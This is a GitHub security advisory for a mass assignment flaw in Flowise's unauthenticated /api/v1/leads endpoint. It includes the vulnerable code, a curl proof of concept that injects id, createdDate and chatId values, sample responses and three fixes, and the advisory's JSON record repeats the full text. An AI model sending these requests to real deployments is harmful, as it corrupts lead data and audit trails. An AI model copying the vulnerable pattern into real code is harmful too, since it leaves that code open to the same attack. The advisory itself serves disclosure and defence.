GHSA-MQ4R-H2GH-QV7X
Vulnerability from github – Published: 2026-03-06 22:19 – Updated: 2026-03-09 13:15Summary
A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.
The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.
| Field | Value |
|---|---|
| Vulnerability Type | Mass Assignment |
| CWE ID | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| Authentication Required | None |
| Affected Endpoint | POST /api/v1/leads |
Details
Root Cause
The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:
// File: /packages/server/src/services/leads/index.ts
// Lines 23-38
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!
Object.assign(newLead, { chatId })
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:
- id - The primary key (should be auto-generated)
- createdDate - The creation timestamp (should be auto-generated)
- chatId - The chat identifier
Lead Entity Definition
The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:
// File: /packages/server/src/database/entities/Lead.ts
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid') // Should be auto-generated!
id: string
@Column()
name?: string
@Column()
email?: string
@Column()
phone?: string
@Column()
chatflowid: string
@Column()
chatId: string
@CreateDateColumn() // Should be auto-generated!
createdDate: Date
}
However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.
Why the Endpoint is Publicly Accessible
The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:
// File: /packages/server/src/utils/constants.ts
// Line 20
export const WHITELIST_URLS = [
// ... other endpoints ...
'/api/v1/leads', // ← No authentication required
// ... more endpoints ...
]
Proof of Concept
Prerequisites
- Docker and Docker Compose installed
- curl installed
Step 1: Start Flowise
Create a docker-compose.yml:
services:
flowise:
image: flowiseai/flowise:latest
restart: unless-stopped
environment:
- PORT=3000
- DATABASE_PATH=/root/.flowise
- DATABASE_TYPE=sqlite
- CORS_ORIGINS=*
- DISABLE_FLOWISE_TELEMETRY=true
ports:
- '3000:3000'
volumes:
- flowise_data:/root/.flowise
entrypoint: /bin/sh -c "sleep 3; flowise start"
volumes:
flowise_data:
Start the container:
docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping
Step 2: Baseline Test - Normal Lead Creation
First, create a normal lead to see expected behavior:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "normal-chatflow-123",
"name": "Normal User",
"email": "normal@example.com",
"phone": "555-0000"
}'
Expected Response (normal behavior):
{
"id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
"name": "Normal User",
"email": "normal@example.com",
"phone": "555-0000",
"chatflowid": "normal-chatflow-123",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:39.000Z"
}
Note: The id and createdDate are auto-generated by the server.
Step 3: Exploit - Inject Custom ID
Now inject a custom id:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "attacker-chatflow-456",
"name": "Attacker",
"email": "attacker@evil.com",
"phone": "555-EVIL",
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
}'
Actual Response (vulnerability confirmed):
{
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"name": "Attacker",
"email": "attacker@evil.com",
"phone": "555-EVIL",
"chatflowid": "attacker-chatflow-456",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:40.000Z"
}
⚠️ The attacker-controlled id was accepted!
Step 4: Exploit - Inject Custom Timestamp
Inject a fake createdDate:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "timestamp-test-789",
"name": "Time Traveler",
"email": "timetraveler@evil.com",
"createdDate": "1970-01-01T00:00:00.000Z"
}'
Actual Response (vulnerability confirmed):
{
"id": "some-auto-generated-uuid",
"name": "Time Traveler",
"email": "timetraveler@evil.com",
"chatflowid": "timestamp-test-789",
"chatId": "auto-generated-uuid",
"createdDate": "1970-01-01T00:00:00.000Z"
}
⚠️ The attacker-controlled timestamp from 1970 was accepted!
Step 5: Exploit - Combined Mass Assignment
Inject multiple fields at once:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "any-chatflow-attacker-wants",
"name": "Mass Assignment Attacker",
"email": "massassign@evil.com",
"phone": "555-HACK",
"id": "11111111-2222-3333-4444-555555555555",
"createdDate": "2000-01-01T12:00:00.000Z",
"chatId": "custom-chat-id-injected"
}'
Actual Response (vulnerability confirmed):
{
"id": "11111111-2222-3333-4444-555555555555",
"name": "Mass Assignment Attacker",
"email": "massassign@evil.com",
"phone": "555-HACK",
"chatflowid": "any-chatflow-attacker-wants",
"chatId": "custom-chat-id-injected",
"createdDate": "2000-01-01T12:00:00.000Z"
}
⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!
Verification
The exploit succeeds because:
1. ✅ HTTP 200 response (request accepted)
2. ✅ id field contains attacker-controlled UUID
3. ✅ createdDate field contains attacker-controlled timestamp
4. ✅ chatId field contains attacker-controlled string
5. ✅ No authentication headers were sent
Impact
Who is Affected?
- All Flowise deployments that use the leads feature
- Both open-source and enterprise versions
- Any system that relies on lead data integrity
Attack Scenarios
| Scenario | Impact |
|---|---|
| ID Collision Attack | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |
| Audit Trail Manipulation | Attacker sets fake createdDate values to hide malicious activity or manipulate reporting |
| Data Integrity Violation | Internal fields that should be server-controlled are now user-controlled |
| Chatflow Association | Attacker can link leads to arbitrary chatflows they don't own |
Severity Assessment
While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:
- Data integrity issues
- Potential business logic bypasses
- Audit/compliance concerns
- Foundation for chained attacks
Recommended Fix
Option 1: Whitelist Allowed Fields (Recommended)
Only copy explicitly allowed fields from the request body:
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
// ✅ Only copy allowed fields
const allowedFields = ['chatflowid', 'name', 'email', 'phone']
for (const field of allowedFields) {
if (body[field] !== undefined) {
newLead[field] = body[field]
}
}
newLead.chatId = chatId
// Let TypeORM auto-generate id and createdDate
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
Option 2: Use Destructuring with Explicit Fields
const createLead = async (body: Partial<ILead>) => {
try {
// ✅ Only extract allowed fields
const { chatflowid, name, email, phone } = body
const chatId = body.chatId ?? uuidv4()
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create({
chatflowid,
name,
email,
phone,
chatId
// id and createdDate will be auto-generated
})
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
Option 3: Use class-transformer with @Exclude()
Add decorators to the Lead entity to exclude sensitive fields from assignment:
import { Exclude } from 'class-transformer'
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid')
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
id: string
// ... other fields ...
@CreateDateColumn()
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
createdDate: Date
}
Additional Recommendation
Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as:
- /packages/server/src/utils/addChatMessageFeedback.ts (similar pattern)
Resources
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- OWASP: Mass Assignment Cheat Sheet
- OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows
- Node.js Security Best Practices
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.12"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30822"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-06T22:19:14Z",
"nvd_published_at": "2026-03-07T05:16:27Z",
"severity": "HIGH"
},
"details": "## Summary\n\n**A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.**\n\nThe endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.\n\n| Field | Value |\n|-------|-------|\n| **Vulnerability Type** | Mass Assignment |\n| **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) |\n| **Authentication Required** | None |\n| **Affected Endpoint** | `POST /api/v1/leads` |\n\n\n---\n\n## Details\n\n### Root Cause\n\nThe vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28:\n\n```typescript\n// File: /packages/server/src/services/leads/index.ts\n// Lines 23-38\n\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n try {\n const chatId = body.chatId ?? uuidv4()\n\n const newLead = new Lead()\n Object.assign(newLead, body) // \u2190 VULNERABILITY: All properties copied!\n Object.assign(newLead, { chatId })\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\nThe `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including:\n- `id` - The primary key (should be auto-generated)\n- `createdDate` - The creation timestamp (should be auto-generated)\n- `chatId` - The chat identifier\n\n### Lead Entity Definition\n\nThe Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields:\n\n```typescript\n// File: /packages/server/src/database/entities/Lead.ts\n\n@Entity()\nexport class Lead implements ILead {\n @PrimaryGeneratedColumn(\u0027uuid\u0027) // Should be auto-generated!\n id: string\n\n @Column()\n name?: string\n\n @Column()\n email?: string\n\n @Column()\n phone?: string\n\n @Column()\n chatflowid: string\n\n @Column()\n chatId: string\n\n @CreateDateColumn() // Should be auto-generated!\n createdDate: Date\n}\n```\n\nHowever, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation.\n\n### Why the Endpoint is Publicly Accessible\n\nThe `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`:\n\n```typescript\n// File: /packages/server/src/utils/constants.ts\n// Line 20\n\nexport const WHITELIST_URLS = [\n // ... other endpoints ...\n \u0027/api/v1/leads\u0027, // \u2190 No authentication required\n // ... more endpoints ...\n]\n```\n\n---\n\n## Proof of Concept\n\n\u003cimg width=\"1585\" height=\"817\" alt=\"Screenshot 2025-12-26 at 2 28 00\u202fPM\" src=\"https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5\" /\u003e\n\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- curl installed\n\n### Step 1: Start Flowise\n\nCreate a `docker-compose.yml`:\n\n```yaml\nservices:\n flowise:\n image: flowiseai/flowise:latest\n restart: unless-stopped\n environment:\n - PORT=3000\n - DATABASE_PATH=/root/.flowise\n - DATABASE_TYPE=sqlite\n - CORS_ORIGINS=*\n - DISABLE_FLOWISE_TELEMETRY=true\n ports:\n - \u00273000:3000\u0027\n volumes:\n - flowise_data:/root/.flowise\n entrypoint: /bin/sh -c \"sleep 3; flowise start\"\n\nvolumes:\n flowise_data:\n```\n\nStart the container:\n\n```bash\ndocker compose up -d\n# Wait for Flowise to be ready (about 1-2 minutes)\ncurl http://localhost:3000/api/v1/ping\n```\n\n### Step 2: Baseline Test - Normal Lead Creation\n\nFirst, create a normal lead to see expected behavior:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"chatflowid\": \"normal-chatflow-123\",\n \"name\": \"Normal User\",\n \"email\": \"normal@example.com\",\n \"phone\": \"555-0000\"\n }\u0027\n```\n\n**Expected Response (normal behavior):**\n```json\n{\n \"id\": \"018b23e3-d6cb-4dc5-a276-922a174b44fd\",\n \"name\": \"Normal User\",\n \"email\": \"normal@example.com\",\n \"phone\": \"555-0000\",\n \"chatflowid\": \"normal-chatflow-123\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"2025-12-26T06:20:39.000Z\"\n}\n```\n\nNote: The `id` and `createdDate` are auto-generated by the server.\n\n### Step 3: Exploit - Inject Custom ID\n\nNow inject a custom `id`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"chatflowid\": \"attacker-chatflow-456\",\n \"name\": \"Attacker\",\n \"email\": \"attacker@evil.com\",\n \"phone\": \"555-EVIL\",\n \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\"\n }\u0027\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\n \"name\": \"Attacker\",\n \"email\": \"attacker@evil.com\",\n \"phone\": \"555-EVIL\",\n \"chatflowid\": \"attacker-chatflow-456\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"2025-12-26T06:20:40.000Z\"\n}\n```\n\n**\u26a0\ufe0f The attacker-controlled `id` was accepted!**\n\n### Step 4: Exploit - Inject Custom Timestamp\n\nInject a fake `createdDate`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"chatflowid\": \"timestamp-test-789\",\n \"name\": \"Time Traveler\",\n \"email\": \"timetraveler@evil.com\",\n \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n }\u0027\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"some-auto-generated-uuid\",\n \"name\": \"Time Traveler\",\n \"email\": \"timetraveler@evil.com\",\n \"chatflowid\": \"timestamp-test-789\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n}\n```\n\n**\u26a0\ufe0f The attacker-controlled timestamp from 1970 was accepted!**\n\n### Step 5: Exploit - Combined Mass Assignment\n\nInject multiple fields at once:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"chatflowid\": \"any-chatflow-attacker-wants\",\n \"name\": \"Mass Assignment Attacker\",\n \"email\": \"massassign@evil.com\",\n \"phone\": \"555-HACK\",\n \"id\": \"11111111-2222-3333-4444-555555555555\",\n \"createdDate\": \"2000-01-01T12:00:00.000Z\",\n \"chatId\": \"custom-chat-id-injected\"\n }\u0027\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"11111111-2222-3333-4444-555555555555\",\n \"name\": \"Mass Assignment Attacker\",\n \"email\": \"massassign@evil.com\",\n \"phone\": \"555-HACK\",\n \"chatflowid\": \"any-chatflow-attacker-wants\",\n \"chatId\": \"custom-chat-id-injected\",\n \"createdDate\": \"2000-01-01T12:00:00.000Z\"\n}\n```\n\n**\u26a0\ufe0f ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!**\n\n### Verification\n\nThe exploit succeeds because:\n1. \u2705 HTTP 200 response (request accepted)\n2. \u2705 `id` field contains attacker-controlled UUID\n3. \u2705 `createdDate` field contains attacker-controlled timestamp\n4. \u2705 `chatId` field contains attacker-controlled string\n5. \u2705 No authentication headers were sent\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All Flowise deployments** that use the leads feature\n- Both **open-source** and **enterprise** versions\n- Any system that relies on lead data integrity\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |\n| **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting |\n| **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled |\n| **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don\u0027t own |\n\n### Severity Assessment\n\nWhile this vulnerability doesn\u0027t directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:\n\n- Data integrity issues\n- Potential business logic bypasses\n- Audit/compliance concerns\n- Foundation for chained attacks\n\n---\n\n## Recommended Fix\n\n### Option 1: Whitelist Allowed Fields (Recommended)\n\nOnly copy explicitly allowed fields from the request body:\n\n```typescript\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n try {\n const chatId = body.chatId ?? uuidv4()\n\n const newLead = new Lead()\n \n // \u2705 Only copy allowed fields\n const allowedFields = [\u0027chatflowid\u0027, \u0027name\u0027, \u0027email\u0027, \u0027phone\u0027]\n for (const field of allowedFields) {\n if (body[field] !== undefined) {\n newLead[field] = body[field]\n }\n }\n newLead.chatId = chatId\n // Let TypeORM auto-generate id and createdDate\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\n### Option 2: Use Destructuring with Explicit Fields\n\n```typescript\nconst createLead = async (body: Partial\u003cILead\u003e) =\u003e {\n try {\n // \u2705 Only extract allowed fields\n const { chatflowid, name, email, phone } = body\n const chatId = body.chatId ?? uuidv4()\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create({\n chatflowid,\n name,\n email,\n phone,\n chatId\n // id and createdDate will be auto-generated\n })\n \n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\n### Option 3: Use class-transformer with @Exclude()\n\nAdd decorators to the Lead entity to exclude sensitive fields from assignment:\n\n```typescript\nimport { Exclude } from \u0027class-transformer\u0027\n\n@Entity()\nexport class Lead implements ILead {\n @PrimaryGeneratedColumn(\u0027uuid\u0027)\n @Exclude({ toClassOnly: true }) // \u2705 Prevent assignment from request\n id: string\n\n // ... other fields ...\n\n @CreateDateColumn()\n @Exclude({ toClassOnly: true }) // \u2705 Prevent assignment from request\n createdDate: Date\n}\n```\n\n### Additional Recommendation\n\nConsider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as:\n- `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern)\n\n---\n\n## Resources\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n- [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/)\n\n---",
"id": "GHSA-mq4r-h2gh-qv7x",
"modified": "2026-03-09T13:15:30Z",
"published": "2026-03-06T22:19:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq4r-h2gh-qv7x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30822"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.